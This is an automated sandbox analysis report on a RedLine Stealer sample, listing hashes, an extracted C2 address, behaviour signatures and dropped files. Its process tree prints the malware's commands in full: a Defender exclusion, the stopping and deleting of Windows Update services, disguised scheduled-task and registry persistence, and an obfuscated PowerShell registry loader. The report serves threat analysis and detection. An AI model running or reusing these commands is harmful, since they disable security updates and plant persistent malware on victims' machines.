Analysis
- max time kernel
34s - max time network
82s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system - submitted
24/11/2022, 12:26
Static task
static1
Behavioral task
behavioral1
Sample
3923f1a139494556ee41dde9b70acc67.exe
Resource
win7-20220901-en
15 signatures
150 seconds
Behavioral task
behavioral2
Sample
3923f1a139494556ee41dde9b70acc67.exe
Resource
win10v2004-20220901-en
14 signatures
150 seconds
General
- Target 3923f1a139494556ee41dde9b70acc67.exe
- Size 295KB
- Sample221124-pl66qadc53
- SHA256 dc0d7e5dcd6f5cc175ab3d6173220fb483570c8b1b81cc2ab68c95407368240e
- MD5 3923f1a139494556ee41dde9b70acc67
- SHA1 19a3cf53a31c4f37c24c771264504e66d1be1193
- SHA512 5bba374b5a6d8200c1d0753cf4a97339bf7261cba53925ce194a31334b559dd0d46c1d9daaf920695ff144f7704b7e3bfc31ff656718f2904b491dfaa4742557
- SSDEEP 6144:pz5vw7NJFZBo20p9p3lcmkI7qG4ILzRiy8GEPZjmKsgA5oSsxHE:pzefFZB09VF7qG4I8y8GEPZjmngA5oSM
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
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redline
C2
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37.220.87.2:27924
Attributes
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auth_value
c730762e00ec2290f332f51330ecd40b
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/43992-133-0x0000000000400000-0x0000000000428000-memory.dmp family_redline - Downloads MZ/PE file
- Executes dropped EXE 3 IoCs
pid Process 44604 brave.exe 44632 ofg.exe 44712 chrome.exe - Stops running service(s) 3 TTPs
- Uses the VBS compiler for execution 1 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4252 set thread context of 43992 4252 3923f1a139494556ee41dde9b70acc67.exe 82 - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 44028 sc.exe 220 sc.exe 4256 sc.exe 4104 sc.exe 3320 sc.exe - Program crash 1 IoCs
pid pid_target Process procid_target 44072 4252 WerFault.exe 80 - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 44664 SCHTASKS.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 43992 vbc.exe 43992 vbc.exe 44808 powershell.exe 44808 powershell.exe 44964 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 43992 vbc.exe Token: SeDebugPrivilege 44808 powershell.exe Token: SeDebugPrivilege 44964 powershell.exe - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 4252 wrote to memory of 43992 4252 3923f1a139494556ee41dde9b70acc67.exe 82 PID 4252 wrote to memory of 43992 4252 3923f1a139494556ee41dde9b70acc67.exe 82 PID 4252 wrote to memory of 43992 4252 3923f1a139494556ee41dde9b70acc67.exe 82 PID 4252 wrote to memory of 43992 4252 3923f1a139494556ee41dde9b70acc67.exe 82 PID 4252 wrote to memory of 43992 4252 3923f1a139494556ee41dde9b70acc67.exe 82 PID 43992 wrote to memory of 44604 43992 vbc.exe 91 PID 43992 wrote to memory of 44604 43992 vbc.exe 91 PID 43992 wrote to memory of 44632 43992 vbc.exe 92 PID 43992 wrote to memory of 44632 43992 vbc.exe 92 PID 43992 wrote to memory of 44632 43992 vbc.exe 92 PID 44632 wrote to memory of 44664 44632 ofg.exe 93 PID 44632 wrote to memory of 44664 44632 ofg.exe 93 PID 44632 wrote to memory of 44664 44632 ofg.exe 93 PID 43992 wrote to memory of 44712 43992 vbc.exe 95 PID 43992 wrote to memory of 44712 43992 vbc.exe 95 PID 43992 wrote to memory of 44712 43992 vbc.exe 95 PID 44604 wrote to memory of 44808 44604 brave.exe 97 PID 44604 wrote to memory of 44808 44604 brave.exe 97 PID 44604 wrote to memory of 44928 44604 brave.exe 99 PID 44604 wrote to memory of 44928 44604 brave.exe 99 PID 44604 wrote to memory of 44940 44604 brave.exe 100 PID 44604 wrote to memory of 44940 44604 brave.exe 100 PID 44604 wrote to memory of 44964 44604 brave.exe 101 PID 44604 wrote to memory of 44964 44604 brave.exe 101 PID 44928 wrote to memory of 44028 44928 cmd.exe 105 PID 44928 wrote to memory of 44028 44928 cmd.exe 105 PID 44940 wrote to memory of 636 44940 cmd.exe 106 PID 44940 wrote to memory of 636 44940 cmd.exe 106
Processes
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C:\Users\Admin\AppData\Local\Temp\3923f1a139494556ee41dde9b70acc67.exe"C:\Users\Admin\AppData\Local\Temp\3923f1a139494556ee41dde9b70acc67.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:43992 -
C:\Users\Admin\AppData\Local\Google\brave.exe"C:\Users\Admin\AppData\Local\Google\brave.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:44604 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:44808
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C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
- Suspicious use of WriteProcessMemory
PID:44928 -
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
PID:44028
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C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
PID:220
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C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
PID:4256
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C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
PID:4104
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C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
PID:3320
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵PID:4888
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵PID:3128
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵PID:3532
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f5⤵PID:3740
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵PID:3804
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C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Suspicious use of WriteProcessMemory
PID:44940 -
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵PID:636
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C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵PID:1360
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵PID:1260
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵PID:828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:44964
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe4⤵PID:3980
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }4⤵PID:3784
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC5⤵PID:1144
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C:\Users\Admin\AppData\Local\Google\ofg.exe"C:\Users\Admin\AppData\Local\Google\ofg.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:44632 -
C:\Windows\SysWOW64\SCHTASKS.exeSCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST4⤵
- Creates scheduled task(s)
PID:44664
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C:\Users\Admin\AppData\Local\Google\chrome.exe"C:\Users\Admin\AppData\Local\Google\chrome.exe"3⤵
- Executes dropped EXE
PID:44712
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 411682⤵
- Program crash
PID:44072
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4252 -ip 42521⤵PID:44024
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵PID:908
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵PID:2372
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵PID:4708
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8db37b01-3c62-4d4e-b8c9-98aed1322e54}1⤵PID:3712
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 2.8MB
- SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
- MD5 eb27bb8cfa99d659e4fe023e9002ecd1
- SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
- SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\brave.exe
- Size 2.8MB
- SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
- MD5 9253ed091d81e076a3037e12af3dc871
- SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
- SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\brave.exe
- Size 2.8MB
- SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
- MD5 9253ed091d81e076a3037e12af3dc871
- SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
- SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\chrome.exe
- Size 6.1MB
- SHA256 66552cbe03b205cba08a2524fb93303dec5edf51188758b08d12624db1ee73e1
- MD5 8cd1ea50f8f4c45055400e70da52b326
- SHA1 40af98091e8c32ce9c90502b3d851ebc231cacf9
- SHA512 b0be3acccf8ce64343b10e33b7cd5e7292164259d65c07e0c63c08dc05bfa0cf268290b3a37f20f6afa81d7163be8c90ac9ae9a7fb93c3e61cbc08310a2beaf1
- SSDEEP 98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\chrome.exe
- Size 6.1MB
- SHA256 66552cbe03b205cba08a2524fb93303dec5edf51188758b08d12624db1ee73e1
- MD5 8cd1ea50f8f4c45055400e70da52b326
- SHA1 40af98091e8c32ce9c90502b3d851ebc231cacf9
- SHA512 b0be3acccf8ce64343b10e33b7cd5e7292164259d65c07e0c63c08dc05bfa0cf268290b3a37f20f6afa81d7163be8c90ac9ae9a7fb93c3e61cbc08310a2beaf1
- SSDEEP 98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\ofg.exe
- Size 86KB
- SHA256 95903d8c2d48c4c0667e41878807f646f7648a33ed25d0eb433aab41c25e31a4
- MD5 33dad992607d0ffd44d2c81fe67f8fb1
- SHA1 e5b67dc05505fb1232504231f41cba225c282d3c
- SHA512 444973b44292c433a07e5f75f6580ea71799b1f835677bc5b2e42af6b567a2f70f1b038f019d250a18216701ccf901b300632487eebcc1113ac803edb43159e4
- SSDEEP 1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\ofg.exe
- Size 86KB
- SHA256 95903d8c2d48c4c0667e41878807f646f7648a33ed25d0eb433aab41c25e31a4
- MD5 33dad992607d0ffd44d2c81fe67f8fb1
- SHA1 e5b67dc05505fb1232504231f41cba225c282d3c
- SHA512 444973b44292c433a07e5f75f6580ea71799b1f835677bc5b2e42af6b567a2f70f1b038f019d250a18216701ccf901b300632487eebcc1113ac803edb43159e4
- SSDEEP 1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
- MD5 77d622bb1a5b250869a3238b9bc1402b
- SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
- SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d85d6b3c447df4df9fd648ef9bb2f686fac2ac2860a87b1ab63fd1ca7e5e7dc9
- MD5 f2c2fdfd1693566ba432daf26ea2a682
- SHA1 0556978d3bed2aead959457af4840c522c3ac259
- SHA512 c9cd919b8a57dc4adbcd18ed745ebebe6c49b79e9ac63f72d7d0033c74712d52a8c130a15231c9d107fcc95270c461309fc4fd76479d1b6d54d8405128f89c5d
- MD5 SHA1 SHA512